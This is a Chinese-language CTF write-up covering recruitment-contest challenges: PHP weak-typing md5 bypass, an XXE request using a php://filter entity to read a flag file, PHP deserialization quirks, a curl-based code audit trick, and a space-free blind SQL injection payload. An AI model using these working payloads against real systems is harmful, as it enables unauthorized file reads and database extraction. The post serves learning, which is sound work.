0%

三叶草招新赛部分wp

三叶草招新赛部分wp

最近是三叶草招新,不愧是强队,招新赛都这么难,学习了QWQ

性感黄阿姨在线聊天

打开是一个对话框,输入表情包可以获得三叶草师傅们的表情包(没有什么实际意义)
题目分两层,一层PHP弱类型一层XXE(xml实体注入)

弱类型比较字符串

首先抓包发现数据以json的格式传递,{"root":{"name":"guest","request":"flag"}}
按照要求将guest改为admin之后出现一个判断
admin也不行! //if($name==md5($flag)){flag in ...}
这里只有name可控,在等号两边都可控时可以输入两个数组,通过md5函数无法处理数组返回null的性质绕过对md5的检验,这里显然不行,但这里数据是以json格式传递,我们可以控制数据类型(GET,POST方法默认传递过去的值为字符串),使用弱类型比较的转换

PHP字符与数字比较

若字符串与数字比较,则认为0与其相等,若字符串以数字开头,则将其转化为开头的连续数字进行比较

<?php
if(0 == 'flag')
    echo 'pass';
if(132 == '132flag')
    echo 'pass';
?>

输出结果均为pass
用0实验不成,猜测可能flag的md5开头为数字,用burp的intruder模块爆破,得到name=357时通过验证,回显flag在./_f14g_Is_Here_.php,位于当前目录下,但是我们没有读的办法

XXE

现在还不会XML注入,据说payload不用记,临时要用的时候网上搜一把就有了
在上传xml的时候要把Content-Type改为application/xml
大概原理应该是xml被包含之后可执行吧?
张师傅的样例报文

POST /message.php HTTP/1.1
Host: 148.70.59.198:41257
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/xml
Content-Length: 188
Origin: http://148.70.59.198:41257
Connection: close
Referer: http://148.70.59.198:41257/

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=_f14g_Is_Here_.php" >]>
<root>
<name>&xxe;</name>
<request>flag</request>
</root>

xml的格式于json保持一致,定义了一个xml实体并在name处引用
不是很懂XML是情况,为什么还能适用PHP伪协议的
在xml实体注入读取flag的时候,由于flag藏在php文件中,文件中的<?php中的尖括号会让xml解析错误,无法直接读取,故可以使用filter伪协议以编码方式读出

最后拿到了三叶草的wp,师傅的说法是既然发现他能够解析json格式,就可以猜测其能够解析xml文档,又此处如果判断不过在name处存在对输入名称的回显,将此处替换为xml实体,就可以尝试读取文件了

参考XXE资料: https://www.freebuf.com/articles/web/177979.html

又来一只猫

很简单的一个反序列化。。。简单的不能再简单,但是还是卡了我十分钟,就是因为那个很坑的私有成员变量
比如一个名为Stu的类有一个name的私有成员(private),那么他在反序列化之后的名字会变为\00Stu\00name,但是本地跑出来的时候那个\00只是一个空格,打过去就不能正常反序列化覆盖默认值,把空格改为\00即可解决,protected的变量反序列化之后应为\00*\00name

反引号调用shell_exce函数

学到的一个新的知识点,PHP中被反引号会调用shell_exce函数达到命令执行的效果,在disable_function中如果禁用了shell_exce函数则反引号同时失效

代码审计一

贴一下重要部分源码,删去无关部分,能看懂就行

<?php
    empty($_GET["url"]) && die();
    $password = "If I knew where I would die, I would never go there.";
    $arr = explode(' ', $password);

    $url = $_GET["url"];
    
    if (!startsWith($url,"http://"))
    {
        die("Not allow !");
    }

    for($i=0; $i<count($arr); $i++)
    {
        $ch = curl_init();
        ....curl配置项
        $output = curl_exec($ch);
        curl_close($ch);
        
        if ($output === $arr[$i])
        {
            if($i == sizeof($arr)-1)
            {
                echo "Congratulations. Flag is  SYC{********************************}";
            }

?>

难度也不大,不过感觉有点意思,显然是将url导入到自己的服务器上,可以自己进行控制,从而满足要求,应该也算是ctf中的一个常用套路,不过我第一次见罢了(菜),做了就顺手记录一下

乱七八糟的思路

首先想着是不是能控制自己服务器的回复请求,这样子一个个改包回复就可以完成(太菜了不会实现)
然后就是waf师傅说的,把一个文件当数据库,每次访问就pop出第一位出来,这样子完成整个遍历
比较菜,写的脚本异常丑陋

<?php
$file = file_get_contents('1.txt');
$arr = explode(' ', $file);
echo $arr[0];
$file = fopen('1.txt','w');
for($i=1;$i<count($arr);$i++)
{
    file_put_contents("1.txt", $arr[$i].' ', FILE_APPEND);
}
fclose($file);

又踩了一个坑,在服务器上的一个文件权限是需要修改的,不然PHP不能修改文件,用chmod临时改一下,应该有长久之计吧,但是还是菜

SQL注入系列

都不难,从万能密码到查数据库到替换为空到过滤,算是一次复习,就是最后那个过滤空格的地方让我重新调了一会payload,现在这个无需空格和逗号的payload放一下
select(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())from(1))));
当然这里只有一个列,如果有多列要那种1,1,group_concat()的情况的话,考虑一下用join函数继续调整payload

后记

大队不愧是大队,后来在上海线下的时候面对面的遇上了三叶草的师傅,其中有一个就是大二的师傅,可以说水平以及远超我一大截了,招新赛虽然很简单的题也多,但是像我记录的这些题还有几个难题实在是做不出来,强校的基础还是比我们好啊,起步晚了,还需努力。